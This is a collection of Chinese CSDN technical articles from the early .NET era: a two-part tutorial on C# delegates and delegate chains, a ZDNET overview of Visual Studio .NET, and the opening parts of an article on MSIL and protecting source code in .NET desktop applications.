每一个委派对象实际上就是一个方法包装器，当方法被调用时，受作用的对象被操作。MulticastDelegate类定义两个只读公共实例属性：Target和Method。给定一个委派对象引用，你就可以查询到它的这些属性。如果方法被回调，Target属性返回一个对将要操作的对象的引用。如果方法是静态的，则Target返回null。Method属性返回标示回调方法的System.Reflection.MethodInfo对象。
你可以用几种方式使用这些信息。一种方式是检查是否某个委派对象引用特定类型的实例方法：
//
Boolean DelegateRefersToInstanceMethodOfType(
MulticastDelegate d, Type type) {

return((d.Target != null) && d.Target.GetType == type);
}
//

你还应该编写代码检查是否回调方法由专门的名字（如FeedbackToMsgBox）：
//
Boolean DelegateRefersToMethodOfName(
MulticastDelegate d, String methodName) {

return(d.Method.Name == methodName);
}
//

现在你知道了如何构造委派对象，下面让我们来谈谈回调方法是如何被调用的。为方便起见，我们还是使用
Set类中的ProcessItems：
//
public void ProcessItems(Feedback feedback) {
for (Int32 item = 1; item <= items.Length; item++) {
if (feedback != null) {
// 如果指定任何回调，则调用它们
feedback(items[item], item, items.Length);
}
}
}
//

注释行下面的那一行代码就是调用回调方法。仔细看看代码，它调用feedback函数并传递三个参数。但是feedback是不存在的。再一次指出，编译器知道feedback是个引用某个委派对象的变量，并且编译器会产生实际的代码来调用委派对象的Invoke方法。换句话说，编译器看到下面这行代码后：
feedback(items[item], item, items.Length);

编译器产生的结果与下面这行源代码产生的结果一样：
feedback.Invoke(items[item], item, items.Length);

事实上，通过使用ILDasm.exe程序检查ProcessItems代码结果（如图五），你能发现这一点。

图五 分解后的 Set类的 ProcessItems
图五显示了用于Set类型中ProcessItems方法的微软中介语言。其中红色的箭头指向的指令调用Set.Feedback的Invoke方法。如果你修改源代码来显式调用Invoke方法，C#编译器报错，出错信息为：“error CS1533: Invoke cannot be called directly on a delegate”——意思是Invoke不能针对某个委派被直接调用。C#不允许你显式调用Invoke（但是，但别的编译器可以）。
你会想起当编译器定义Feedback类的时候，它也定义了Invoke方法。当Invoke被调用时，它使用私有的_target和_methodPtr域来为特定对象调用希望的方法。注意Invoke方法的签名与委派的签名要完全匹配。也就是说，Feedback委派带三个参数并返回void，那么Invoke方法也必须带三个相同的参数并返回void。

结论
本文讨论了有关委派的基本概念。根据本文目前所讨论的内容，现在你应该能够创建并使用它们。在后继文章中，我将解释链表中的委派链，以及一些有关MulticastDelegate的附加方法，System.Delegate类型和事件等......。等着我的好消息吧。

本文是系列文章中的第四篇，前面三篇文章分别是：


csdn_介绍.NET中的委派（二）

  介绍.NET中的委派（二）
作者： 赵湘宁
在上一篇文章中我介绍了微软.NET框架中的回调方法：委派（delegates）。解释了在声明一个委派后编译器是如何产生一个从System.MulticastDelegate派生的类，以及这个类是如何创建两个私有指针域（_target 和 _methodPtr），并用它们来指明回调方法应该操纵哪个对象。我还在上一篇文章中引入了第三个指针域——_prev，这个指针被用来维护委派链的链表。在本篇文章中，我将把焦点集中在_prev指针域，讨论如何管理和使用委派链的链表。
回顾委派的一些历史——System.Delegate 和 System.MulticastDelegate
.NET框架类库中定义了System.MulticastDelegate类。在上一篇文章中我们对这个类进行了讨论。但是，你应该注意到MulticastDelegate实际上是从System.Delegate（也在.NET框架类库中定义）类派生而来的，System.Delegate本身派生于System.Object。
当最初设计.NET框架的时候，微软的工程师们感觉到需要提供两种不同种类的委派：即single-cast 和 multicast。MulticastDelegate类型用来表示能被链接在一起的对象，而Delegate类型用来表示不能被链接在一起的对象。System.Delegate类型被设计为基本类型，这个类实现了需要回调某个打包方法的所有功能。MulticastDelegate类从Delegate类中派生并赋予了创建MulticastDelegate对象链表（或者说链）的能力。
当编译源代码时，编译器将检查委派签名并适当选择两个以上的类用于编译产生委派类型的基类。说起来你会感到稀奇，具有void返回值的带签名的方法会从System.Delegate派生，而具有非void返回值的方法则从System.MulticastDelegate派生。这样给人的感觉就是你只能从链表链中最后那个方法获得返回值。
在.NET框架beta版测试期间，采用两种不同的基本类型对开发人员所产生的误导越来越明显。此外，用这种方法来设计委派有太多的局限性。例如，许多方法的返回值在好多情况下都可以被忽略掉。由于这些方法会有非void类型返回值，他们不会从MulticastDelegate类中派生，防止了它们被组合进某个链表。
为了减少引起的混乱，微软工程师意图将Delegate和MulticastDelegate类整合为一个单独的类，这个类允许任何委派对象参与到某个链表链中。所有编译器会产生从这个单独的类中派生的委派类。这个变化将降低复杂性，并且将会使.NET框架团队，公共语言运行时团队（CLR），编译器团队以及在这个领域使用委派的第三方开发者从中受益。
遗憾的是这个整合Delegate和MulticastDelegate的想法在.NET框架开发周期中来得稍迟了一些,况且微软当时最关心的问题是潜在的Bugs，要求通过测试重现这些Bugs以确定最需要修改的部分。所以在.NET框架的Beta 1中没有整合这些类。你当然希望在将来的.NET框架版本中将它们整合到一个单独的类中。
虽然微软选择了延期整合.NET框架类库中的这两个类，但他们还是修改了所有的编译器，以便这些编译器现在总是从MulticastDelegate类派生来产生委派类型。所以在我的上一篇文章中，我说过这么一句话：“所有的委派类型都是从MulticastDelegate派生的。”因为编译器的改动，从而所有委派类型的实例都可以被组合到某个链表链中而与它们的返回值无关。
那么为什么要理解这些东西呢？当你开始越来越多地接触到委派时，你肯定会在.NET框架SDK文档中碰到Delegate和MulticastDelegate类型。我的意图是要你理解这两个类之间的关系。此外，即便是所有你创建的委派类型都以MulticastDelegate作为基类，偶尔你还是会碰到用Delegate所定义的方法来代替MulticastDelegate方法处理自己的委派类型的情况。
例如，Delegate类的静态方法是Combine和Remove。（我将会在以后解释这些方法地用途。）这两个方法的签名表示它们带Delegate参数。因为你的委派类型是从MulticastDelegate派生的，而MulticastDelegate又是从Delegate派生，你的委派类型实例可能被传到Combine和Remove方法。
比较委派的等同性
Delegate基类覆盖了 Object 的虚拟 Equals 方法。MulticastDelegate类型继承Delegate的Equals实现。Delegate的Equals实现将两个委派对象进行比较，检查它们的_target和_methodPtr指针域是否引用相同的对象和方法。如果这两个指针域相匹配，则Equals返回true，否则Equals返回false。如下面的代码所示：
//
// 构造两个委派对象，它们引用相同的目标/方法
//
Feedback fb1 = new Feedback(FeedbackToConsole);
Feedback fb2 = new Feedback(FeedbackToConsole);

// 虽然 fb1 和 fb2 引用两个内部不同的对象，但都引用相同的回调目标/方法
//
Console.WriteLine(fb1.Equals(fb2)); // 显示Displays "True"
//

此外，Delegate 和 MulticastDelegate都提供相等（==）和不等（！=）操作的重载。因此，你可以使用这些操作符而不用调用Equals方法。下列代码与上面所列出来的相同
//
// 构造两个委派对象，它们引用相同的目标/方法
//
Feedback fb1 = new Feedback(FeedbackToConsole);
Feedback fb2 = new Feedback(FeedbackToConsole);

// 虽然 fb1 和 fb2 引用两个内部不同的对象，但都引用相同的回调目标/方法
//
Console.WriteLine(fb1==fb2); // 显示Displays "True"
//

在处理委派链的时候，理解如何比较两个委派的相等性是很重要的，下面我们就来讨论委派链。
委派链（Delegate Chains）
委派本身不但用处很大，而且它还支持委派链处理，从而使得它的使用更加举足轻重。在上一篇文章中，我曾谈到每一个MulticastDelegate对象都具备一个私有的_prev域。这个域存储对另一个MulticastDelegate对象的引用。也就是说，每一个MulticastDelegate对象类型（或者从MulticastDelegate派生的类型）都具备对另一个MulticastDelegate派生对象的引用。这个域允许将委派对象加到某个链表中。
Delegate类定义了三个静态方法，可以用它们来处理委派对象的链表链：
//
class System.Delegate {
// 这个函数联合由head & tail表示的链，head 被返回
// (注意: head 是最后被调用的委派)
public static Delegate Combine(Delegate tail, Delegate head);

// 创建有委派数组表示的某个链
// (注意: 入口 0 是 head 并将是最后被调用的委派)
public static Delegate Combine(Delegate[] delegateArray);

// 从链中删除某个委派匹配值的目标/方法。
// 韩回新的 head 并将是最后被调用的委派
public static Delegate Remove(Delegate source, Delegate value);
}
//

当你构造一个新的委派对象时，这个对象的_prev域被置为null,表示在链表中没有其它对象。为了将两个委派组合（combine）到某个链表中，可以调用两个Delegate的静态方法之一来完成：
Feedback fb1 = new Feedback(FeedbackToConsole);
Feedback fb2 = new Feedback(FeedbackToMsgBox);
Feedback fbChain = (Feedback) Delegate.Combine(fb1, fb2);
// 图一的左边显示了在前面的代码执行后链的状态

App appobj = new App();
Feedback fb3 = new Feedback(appobj.FeedbackToStream);
fbChain = (Feedback) Delegate.Combine(fbChain, fb3);

图一 委派链（Delegate Chains）
图一展示了所有代码执行后的链。你会注意到 Delegate 类型提供了Combine方法的另一个带Delegate引用数组为参数的版本。用这个版本的Combine可以向下面一样重写前面所列出的代码：
Feedback[] fbArray = new Feedback[3];
fbArray[0] = new Feedback(FeedbackToConsole);
fbArray[1] = new Feedback(FeedbackToMsgBox);
App appobj = new App();
fbArray[2] = new Feedback(appobj.FeedbackToStream);

Feedback fbChain = Delegate.Combine(fbArray);

当某个委派被调用的时候，编译器产生一个对委派类型Invoke方法的调用。（这在前面的文章中已讨论过）为了刷新内存，在前面的文章中曾声明了一个Feedback委派代码如下：
public delegate void
Feedback(
Object value, Int32 item, Int32 numItems);

这样将导致编译器产生一个包含Invoke方法的Feedback类，如下面的伪码：
class Feedback : MulticastDelegate {
public void virtual Invoke(
Object value, Int32 item, Int32 numItems) {

// 如果链表中还有委派，则应该首先调用它们
if (_prev != null) _prev.Invoke(value, item, numItems);

// 针对特定的目标对象调用回调方法
_target.methodPtr(value, item, numItems);
}
}

正像你所看到，调用某个委派对象导致其前一个委派被首先调用。当前一个委派返回时，其返回值被丢弃。在调用其前一个委派之后，这个委派再调用它打包的回调目标/方法。下面的代码示范了这个过程：
Feedback fb1 = new Feedback(FeedbackToConsole);
Feedback fb2 = new Feedback(FeedbackToMsgBox);
Feedback fbChain = (Feedback) Delegate.Combine(fb1, fb2);
// 这里，fbChain 引用一个调用FeedbackToMsgBox的委派，而这个委派又引用另一个调用 FeedbackToConsole
// 的委派，此委派引用null.

// 现在我们调用头（head）委派,它在内部调用其前面一个委派...
if (fbChain != null) fbChain(null, 0, 10);
// 注意: 上面这行代码中， 必须检查 fbChain 是否为空，在调用它之前进行此类检查是个很好的习惯。

以上是我说明的一个返回值为 void 的委派 Feedback。如果我像下面这样定义委派的话：
public delegate Int32 Feedback(
Object value, Int32 item, Int32 numItems);

class Feedback : MulticastDelegate {
public Int32 virtual Invoke(
Object value, Int32 item, Int32 numItems) {

// 只要链中有应被首先调用的委派就调用它们
if (_prev != null) _prev.Invoke(value, item, numItems);

// 调用特定目标对象的回调方法
return _target.methodPtr(value, item, numItems);
}
}

当委派链的头被调用时，它调用链中的前一个委派。注意这里前一个委派的返回置被丢弃。你的应用程序代码将只能从链头的委派中接收返回值（即调用的最后一个回调用法）。
委派对象一旦被创立，它就被认为是不能改变的，也就是说委派对象总是将它们的_prev域置为null，并且不会再变。当把某个委派对象组合到链中时，Combine在内部构造一个新的委派对象，它于源对象有着相同的_target 和 _methodPtr指针域。_prev域被置成链中旧的头。新委派对象的地址从Combine中返回。请看下面的代码：
//将委派对象组合到链中

Feedback fb = new Feedback(FeedbackToConsole);
Feedback fbChain = (Feedback) Delegate.Combine(fb, fb);
// fbChain 引用有两个委派对象的链。其中一个对象与fb所指的对象相同。
// 另一个对象由Combine构造,这个对象的_prev域引用fb，并且Combine
// 返回对新对象的引用。

// fb 和 fbChain 引用完全相同的对象吗？False
Console.WriteLine((Object) fb == (Object) fbChain);

// fb 和 fbChain 引用相同的回调目标/方法吗？True
Console.WriteLine(fb.Equals(fbChain));

现在你知道了如何建立委派链，那如何从链中删除一个委派呢？想从某个链表中删除一个委派，必须调用Delegate类型中的静态Remove方法，参见如下代码：
// 调用 Delegate.Remote

Feedback fb1 = new Feedback(FeedbackToConsole);
Feedback fb2 = new Feedback(FeedbackToMsgBox);
Feedback fbChain = (Feedback) Delegate.Combine(fb1, fb2);
// fbChain 引用两个委派的一个链

// 调用这个链: 两个方法被调用
if (fbChain != null) fbChain(null, 0, 10);

fbChain = (Feedback)
Delegate.Remove(fbChain, new Feedback(FeedbackToMsgBox));
// fbChain 引用一个委派的链

// 调用这个链: 一个方法被调用
if (fbChain != null) fbChain(null, 0, 10);

fbChain = (Feedback)
Delegate.Remove(fbChain, new Feedback(FeedbackToConsole));
// fbChain 引用零个委派的链(fbChain is null)

// 调用这个链: 零个方法被调用
if (fbChain != null) fbChain(null, 0, 10);
// 线在你该明白了为什么我总要判断 fbChain 是否为null!

这段代码首先通过构造两个委派对象来建立一个链，然后调用Combine方法将它们组合进一个链表中。然后调用Remove方法。Remove的第一个参数是委派对象链的头，第二个参数是要从链中删除的委派对象。这种处理方法很奇怪，为了将委派对象从链中删除，必须先建立新的委派对象。为了明白其中的原因，我们有必要对此进行一些额外解释。
在Remove的调用中，我构造了一个新的委派对象。这个委派对象对它自己的_target和_methodPtr域进行初始化，并将_prev置成null。Remove方法扫描链（fbChain所指的链），检查链中有没有委派对象与新创建的委派对象相等。要记住，由 Delegate 类实现的并经过重载的Equals 方法只比较_target和_methodPtr域并忽略_prev域。
如果找到一个匹配的值，Remove 方法则通过固定前一个委派对象的_prev域从链中删除匹配的委派对象。如果没有找到匹配的值，Remove 方法则什么也不做（不丢出异常）并返回与它第一个参数相同的值。
每次对Remove的调用只从链中删除一个对象，参见如下代码：
//删除委派

Feedback fb = new Feedback(FeedbackToConsole);
Feedback fbChain = (Feedback) Delegate.Combine(fb, fb);
// fbChain 为两个委派的链

// 调用这个链: FeedbackToConsole 被调用两次
if (fbChain != null) fbChain(...);

// 从链中删除其中的一个回调
fbChain = (Feedback) Delegate.Remove(fbChain, fb);

// 调用这个链: FeedbackToConsole 被调用一次
if (fbChain != null) fbChain(...);

// 从链中删除其中的一个回调
fbChain = (Feedback) Delegate.Remove(fbChain, fb);

// 调用这个链: 0 个方法被调用
if (fbChain != null) fbChain(...);
//C# 对委派链的支持

为了让C#开发人员易于开发，C#编译器为委派类型的实例自动地提供 += 和 -= 操作的重载。这两个操作符分别调用Delegate.Combine 和 Delegate.Remove。使用这两个操作符简化了委派链的建立。下列的C#代码演示了如何使用C#操作符简化在一个链中对委派对象进行Combine和Remove操作。
//用 C# 对委派对象进行 组合（Combining）和 删除（Removing）操作

Feedback fb = new Feedback(FeedbackToConsole);
App appobj = new App();
fb += new Feedback(appobj.FeedbackToStream);

// 调用链: FeedbackToStream 和 FeedbackToConsole 被调用
if (fb != null) fb(...);

// 从链中删除一个回调
fb -= new Feedback(FeedbackToConsole);

// 调用链: FeedbackToStream 被调用
if (fb != null) fb(...);

// 从链中删除最后一个回调
fb -= new Feedback(appobj.FeedbackToStream);

// 调用链: 0 个方法被调用
if (fb != null) fb(...);
//

编译器在内部翻译所有在委派对象上使用的 += 操作符，使之调用 Delegate 的 Combine 方法。同样，对于在委派对象上使用的 -= 操作符，编译器在内部翻译，使之调用 Delegate 的 Remove 方法。事实上，你可以建立（build）我在这里列出的代码，用ILDasm.exe程序看看它的中间语言是什么样子。这样可以确认C#编译器到底做了一些什么事情，你会从中中间语言中不难看出，编译器分别用 Delegate 类型中静态的 Combine 和 Remove方法代替了 += 和 -= 操作符。
调用委派链
前面讲述了如何建立一个委派对象的链表链，以及如何调用（Invoke）那个链中的所有对象。因为委派类型的 Invoke 方法包含了对前一个委派进行（如果有的话）调用的代码，所以链表链中所有的项目都被调用。这种方法确实时非常简单明了。这种算法对于大多数遇到的情况都适合，但是它也有许多限制。
例如，回调方法的返回值全都被忽略掉了，只留下最后一个。用这种简单的算法没有办法获得所有回调方法运行后的返回值。除此之外，这个算法还有一些局限性。例如，一旦对某个委派的调用丢出异常或长时间阻塞的话会发生什么情况呢？因为这个算法是连续地调用链中每个委派，如果对其中某个委派对象出了问题就会影响链中其它的委派获得调用。很显然，这个算法并不是一个健壮的算法。
为了解决这个问题，MulticastDelegate类提供了一个实例方法：GetInvocationList，你可以用这个方法显式地调用链中每一个委派，而所使用的算法可以是任意的：
//public class MulticastDelegate {
// 创建一个委派数组；其中每一项都是链中项目的克隆。
// (注意: 入口 0 是链尾，通常它被首先调用)
public virtual Delegate[] GetInvocationList();
}
//

GetInvocationList 方法操作某个委派链的引用并返回一个引用委派对象的数组。GetInvocationList 遍历指定的链并克隆链中每个对象，将这些克隆对象添加到数组中。每个克隆都将其自己的_prev域置为null，这样每个对象被隔离，保证不会与其它的对象链搞混。
这样一来我们就很容易编写算法显式地调用数组中的每个对象。下面的代码展示了一种这样的算法。
// GetInvocationList 演示

using System;
using System.Text;

// 定义一个电灯组件
class Light {
// 这个方法返回电灯的状态
public String SwitchPosition() { return "The light is off"; }
}

// 定义一个风扇组件
class Fan {
// 这个方法返回风扇的状态
public String Speed() { throw new Exception("The fan broke due to
overheating"); }
}

// 定义一个话筒组件
class Speaker {
// 这个方法返回话筒的状态
public String Volume() { return "The volume is loud"; }
}

class App {

// 定义委派允许查询某个组件的状态
delegate String GetStatus();

static void Main() {
// 定义一个空的委派链
GetStatus getStatus = null;

// 构造3个组件并将它们的状态方法添加到委派链中
getStatus += new GetStatus(new Light().SwitchPosition);
getStatus += new GetStatus(new Fan().Speed);
getStatus += new GetStatus(new Speaker().Volume);

// 显示反映3个组件当时状态的报告
Console.WriteLine(GetComponentStatusReport(getStatus));
}

// 查询组件状态的方法及返回某种状态报告
static String GetComponentStatusReport(GetStatus status) {

// 如果链是空，什么也不做
if (status == null) return null;

// 用它来建立状态报告
StringBuilder report = new StringBuilder();

// 获得一个数阻，其元素是链中的委派
Delegate[] arrayOfDelegates = status.GetInvocationList();

// 遍历数组中的每一个委派
foreach (GetStatus getStatus in arrayOfDelegates) {

try {
// 获得某个组件的状态串并将它追加到报告中
report.Append(getStatus() + "\r\n\r\n");
}
catch (Exception e) {
// 在报告中产生本组件出错入口
Object component = getStatus.Target;
report.Append("Failed to get status from " +
((component == null) ? "" : component.GetType() + ".") +
getStatus.Method.Name +
"\r\n Error: " + e.Message + "\r\n\r\n");
}
}

// 将获得的状态返回到调用者
return report.ToString();
}
}


csdn_VS.NET: 通过Web服务瞄准电子商务

  VS.NET: 通过Web服务瞄准电子商务
作者： ZDNET
从上次Microsoft更新其Visuabl Studio IDE到现在有两年的时间了，而Visual
Studio也开始显得老了，特别是在迅速发展的电子商务应用开发工具市场上。

虽然Visual Studio在服务器/客户机领域比其竞争对手作的要好，但是它却难以提
供新一代工具应该提供的功能。支持了这个工具在竞争中的领导地位的只是
Microsoft庞大的市场分额以及Visual Studio广大的用户群，而不是领先的技术。

即将发布的VS.NET是Microsoft新的应用开发策略的基石，并且担负着未来5年维持
Microsoft在应用开发领域优势的重担。在这里，我们要讨论一下VS.NET中的一些
新功能，看看它如何和竞争对手竞争。

VS.NET的未来：重点是.NET

虽然VS.NET继续支持组件对象模型(COM)技术，但是其最主要的目标是实现.NET架
构。这种新的架构由三个主要的核心组成：通用运行时(Common Language Runtime
，CLR)，一组类库，以及Active Server Pages 的扩展：ASP.NET。

VS.NET 的主要任务是通过开发语言，编译器，调试器，向导，组件以及GUI工具等
等支持.NET架构。很多VS.NET最显著的新特性都是专门面向.NET架构的，比如：

Visual Basic 将成为纯面向对象的，包括了继承，封装，重载，多态等特性。另
外，VB将支持“自由线程化(free threading)”模型，以前的VB则只能使用受到限
制的“单元线程化(partment threading)”模型。同时VB使用了更加健壮的异常处
理结构。

Visual C++ 将增加一些对.NET架构的支持功能，包括属性化的C++编程以及可管理
的扩展(比如，对C++语言属性进行扩展使之特别支持.NET架构管理代码)

VS.NET则将增加一种.NET的原生语言——C#，这种语言算的上是对VB的易用性和
C++的强大功能的一个折中，但是其限制就是你还要花一定的时间去学习这个新的
语言。

Web窗体设计攻击以及扩展的ASP.NET结构将提供对XML的全面支持，同时也将支持
HTML以及其它的以Internet为核心的跨语言用户界面技术。比如，ASP.NET将全面
支持可编译语言，比如C#以及Visual Basic，以替代老的解释性的VBScript模型。
多语言支持则是VS.NET以及.NET架构中的一个核心概念。所有VS.NET的核心语言甚
至包括第三方的编译器都支持.NET架构的CLR。这种类似于虚拟机的技术承诺将简
化在应用开发中使用多种开发语言的集成问题。

Web服务在VS.NET的任务中扮演着核心的角色。Microsoft在发布VS.NET的过程中所
面临的最多的挑战就是如何简化应用开发中不断增长的复杂度。VS.NET的很多重点
都在于将Web服务开发的细节问题抽象化，并且隐藏新的协议的细节问题，比如新
的“简单对象操作协议(Simple Object Access Protocol ,SOAP)”；“Web服务描
述语言(Web Services Description Language ,WSDL)”；“通用描述，发现及集
成(Universal Description, Discovery, and Integration ,UDDI)”当然还包括
XML。

VS.NET 将包含一些向导或者框架一类的东西，使开发人员可以更加容易的迁移到
Web服务开发模式上。

VS.NET：更好的工作台？

我们相信Microsoft的目的是将VS.NET塑造成为在.NET开发中占统治地位的开发环
境，其中不仅包括Microsoft自己的核心语言，也包括第三方产品。为了实现这一
目标，Microsoft特别为VS.NET的IDE设计了开放式的结构，并且通过合作伙伴计
划，鼓励第三方厂商将其工具结合到VS.NET的IDE中。

到现在，已经有很多开发商宣布了对VS.NET的支持，并且将发布附加工具产品，比
如针对COBOL, Perl, 以及其它语言的编译器，以及建模工具和源代码控制工具。
有些老的VS工具则不能得到完全的支持了。

其实VS.NET的主要竞争者并不是其它的Win32 服务器/客户机应用开发工具。这场
战争已经过去而且Microsoft已经获得了胜利：Visual Studio 6.0事实上已经成为
了传统Win32/COM开发的标准工具，多数其它的工具都被排挤到了较小的封闭领
域，比如Borland Delphi, Sybase PowerBuilder, 以及 Centura Team Developer
等。

VS.NET的真正竞争对手是以Java为基础的应用开发工具，这些工具来自IBM，SUN，
WebGain， Oracle， 以及 Borland。Microsoft的意图是使用VS.NET来把其市场从
传统的客户机/服务器和Internet应用开发市场扩展到企业级以及电子商务开发市
场。

.NET同时关注作为用户支持的开发者。在软件就是服务以及Web服务的认识前提
下，VS.NET将从一个相对独立，类似于工作台的胖客户端演变成为有效依靠网络服
务的中心。开发者首先可以期待的是MSDN和UDDI注册集成，以后还会和测试服务等
进行集成，使VS.NET不仅仅是.NET开发环境，同时也是.NET服务的消费者。

VS.NET的优势和不足

我们相信对于开发者来说，VS.NET仍然是一把双刃剑。它的确为新的开发策略提供
了大量的功能和技术支持，比如Web服务，XML，以及跨平台代码。这些新的技术将
是未来直到2006年支持Microsoft应用开发核心的必要因素。

然而，Visuabl Stuido毕竟已经有两年没有更新了。不管怎么说，大量的新特性使
得VS.NET成为一个全新的产品。新的功能对开发人员来说总是会造成一些断续，比
如，新的面向对象的特性就与Visual Studio 6.0中的有很大差别。虽然VS.NET提
供了转换旧的Visual Basic工程的程序，但是真正能全自动，无手工干预的转换是
凤毛麟角。VS.NET将不支持某种向后兼容的运行模式，不能无改变的运行旧的工
程。

在以前的研究中，我们预计到2005年Microsoft和Java平台将用于至少75%的新型电
子商务应用开发领域。而且，上述两个平台所获得的市场分额将是大致相等的，无
论是谁都无法取得超过10%的市场分额优势。

对于Microsoft应用开发阵营，问题是何时而不是是否迁移到VS.NET。这个产品和
Visual Studio 6.0之间存在巨大的断续，很多开发者在这个迁移中要花些精力进
行新的学习；不过这种努力是值得的，因为Microsoft将一直将VS.NET作为其应用
开发策略的核心至少到2005年。VS.NET的beta版本已经可以从Microsoft的Web站点
下载了。Microsoft已经宣布将在2001年发布正式的版本，我们相信最早这个正式
版本也要等到2001年2季度末。(Said by Masa: the VS.NET will be released in
Nov this year)

在2001年的一月，Microsoft宣布了面向.NET的Java使用者迁移方法(JUMP to
.NET)，这是一组独立开发的技术和服务，可以在.NET平台上支持Java语言项目。
JUMP to .NET 包含了四个主要的部分：

* 使Java语法支持.NET架构类的工具
* 自动将Java源代码转换为C#的工具
* 使Java应用程序经过固定的修改可以在.NET架构上运行的工具
* 一个用于加速转换过程的付费顾问服务

Microsoft的对类Java语言的支持，对于以前有Java经验，又想转移到.NET架构的
开发者来说是很有吸引力的。不过，如果你真想迁移到.NET，这些手段终究只是最
终迁移到C#的一个过度。对类Java语言的支持对于那些必须同时支持Java和.NET的
企业也是具有潜在的诱惑力的。然而对于这些公司来说，架构上的断续仍然是最主
要的问题。

我们鼓励企业通过.NET去继续探索新的Java特性，但是要特别小心，而且最好还是
注意迁移到C#或者是其它原生.NET语言的问题，只有这样才能使用Microsoft平台
的全部特性。对于那些接受了Java作为主要开发策略的企业，还是去寻找一个SUN
认证的Java平台为最好，至少到2004年，这样的平台都是最能发挥Java威力的。

统一的开发环境

VS.NET将为以Microsoft技术为中心的应用开发提供一个统一的开发环境。VS.NET
将支持传统的COM/COM+应用开发，不过它更主要的是瞄准新的.NET架构以及Web服
务模型。因此，Microsoft特别将VS.NET的基础结构设计为开放的，以吸引第三方
工具加入。Visual Studio 6.0实际上是一些相互不同的开发工具的组合，包括
VB，VC，VJ，Visual InterDev等，而实际上大家可以共享的组件寥寥无几，而VS.
NET则将是第一种完全集成的开发环境，并且是Visual Studio历史上第一个全面拥
抱企业以及跨语言应用开发的版本。

VS.NET的竞争策略包括：

* 巨大的市场分额以及用户基础
* 强大的组件共享和服务共享
* 全面支持.NET架构以及Web服务开发
* 丰富的支持

VS.NET面临的挑战主要是对开发者在开发上的巨大断续和跨越。因此对于企业来
说，在考虑VS.NET的时候，要同时全面充分的考虑Microsoft的技术，中间件，操
作系统等多种因素，再决定自己的应用开发策略。当你有跨平台的部署需要或者是
与使用其它平台的合作伙伴合作的时候，更要多加考虑。

Visual Studio 6.0 在Microsoft开发技术市场上是一个事实上的标准，而VS.NET
则将进一步巩固其地位，同时VS.NET也为那些小的第三方供应商提供了一个机会分
享Microsoft的巨大分额。更重要的是，Visual Studio以及其相关技术，比如
C#，.NET架构以及Web服务等，填补了旧的面向COM的工具与新的面向下一代技术的
竞争者之间一个空白。

由于VS.NET的巨大技术改变，在新技术上采取比较保守或者中庸态度的公司在2002
年一季度前不用考虑完全迁移到VS.NET，而在技术上比较激进的公司则应该从现在
就开始研究VS.NET的功能，因为beta版本已经发布了。


csdn_.NET体系中的源程序安全问题(1)

  .NET体系中的源程序安全问题(1)
作者： 仙人掌工作室
在.NET平台上，代码以中间语言的形式运行，它是.NET众多优势的基础。但在独立桌面应用中，它给源代码的安全带来了威胁。本文探讨产生这个问题的原因，分析可能的解决办法。

    在Visual Studio.NET（VS.NET）体系中，VB、Visual C++以及C#之类的编译器把源程序编译成MSIL。MSIL即Microsoft Intermediate Language，或Microsoft中间语言，它在执行之前被即时（Just-In-Time Compile，JIT）编译成为机器语言。但是，你可能还没有深入了解当你在VS中点击Build按钮时发生了什么事情，或者你私有的源代码和信息是否在偷窥的眼光面前安然无恙、当你把IL代码发布给客户时是否能够保证代码不被篡改。下面我们将深入.NET的内部工作过程，探讨VB.NET体系MSIL的特点和一些你必须关心的问题。

    你必须搞清楚以下几个问题。首先，.NET是为客户机/服务器系统以及Web应用而设计的。软件开发正在逐渐向Internet以及基于客户机/服务器的应用发展，许多应用不再有传统风格的界面，而是提供类似浏览器的界面。.NET也同样追随着这个趋势。

    第二，在桌面应用中，我们无法保护以受管理的MSIL形式存在的代码，如果你觉得保护知识产权（即源代码）非常重要，那么.NET不适合桌面应用开发。虽然MSIL的承诺令人心动，虽然.NET平台和CLR（Common Language Runtime）很稳定，但从安全的角度来看，对于一个独立的桌面应用来说，这一切缺乏实际意义。在.NET中，作为一个VB程序员甚至是C#程序员，你只能编写受管理、不受保护的代码。

    由于存在这种限制，如果你要在桌面应用中保护代码，你必须使用非受管理的C++。保护知识产权唯一真正有效的方法是：用非受管理的C++组件封装代码，然后从.NET受管理代码中通过COM协作接口调用它。

    另外你还必须清楚的是，由于Active Server Pages.NET（ASP.NET）完全在服务器端运行，因此ASP.NET应用是安全的。实际上，这正是.NET最理想的境界——在受保护的服务器上运行代码，让代码远离任何想要研究它的人。ASP.NET把Web开发简化到了难以置信的程度，而Visual Basic.NET正是编写ASP.NET应用的优秀工具。

    掌握VB.NET需要经过艰苦的学习，而全面接受.NET更是一个缓慢的过程。从VB6迁移到VB.NET并非轻而易举，在把VB6应用移植到VB.NET之前的时间里，你仍旧需要提供对VB6应用的支持。在未来很长的时间内，许多开发者仍将使用VB6。


csdn_.NET体系中的源程序安全问题(2)

  .NET体系中的源程序安全问题(2)
作者： 仙人掌工作室
二、中间语言
  为了了解在用VB.NET构造工程的过程中发生了什么事情，我们需要创建一个生成代码和程序集时使用的示例工程：打开VS.NET，新建一个Visual Basic工程，在窗体中加入一个文本标签（Label），然后把文本标签的Text属性改成“Good Bye Visual Basic 6.0”（如图1），把这个应用命名为GoodByeVB6。

图1
    在深入.NET体系之前，我们需要了解一些有关.NET的边缘知识和术语。首先，IL（中间语言）并不是什么新概念，VB、C++编译器生成和利用IL已经有数年的历史，只不过很少有人公开谈论它或为它编写文档。与过去编译应用的方法相比，.NET最大的改变之一就在于编译器所生成的代码不同。除了名字之外，新的MSIL与VB6编译器的IL很少有类同之处。因此，如果你以前曾经接触过IL，现在还得从头开始学习。请参见图2，它是GoodByeVB6应用的MSIL代码片段：

图2
    这个代码片段设置了一个8字节的栈，然后把this指针压栈，调用get_Label1方法。接下来，代码把要设置的标签文本压入堆栈，然后调用setText方法。

    传统的CPU利用寄存器和栈完成所有工作。CLR所提供的执行引擎只有一个栈，它的操作过程非常类似于一个逆波兰表示法计算器。如果某个过程调用具有多个参数，执行引擎将在发出调用之前把参数压栈。函数调用的返回值也通过栈传递。

    MSIL中的局部变量很容易识别，它们用.locals关键词声明。如果符号存在的话，你将看到变量名字；否则，你看到的将是V_1、V_2之类的变量：

.locals init ([0] int32 x,
[1] int32 y,
[2] float64 z,
[3] class System.String Vb_t_string_0)

    ldarg指令把参数装入栈，ldc指令把数字常量装入栈，stloc指令把值保存到合适的局部变量：

//000064: Dim x As Integer = 100
IL_0001: ldc.i4.s 100
IL_0003: stloc.0

    在这个例子中，常量100被作为4字节整数压入栈，随后这个值被保存到第1个局部变量。关于MSIL指令的完整说明，请参见IL程序员参考的ILinstrset.doc文件。

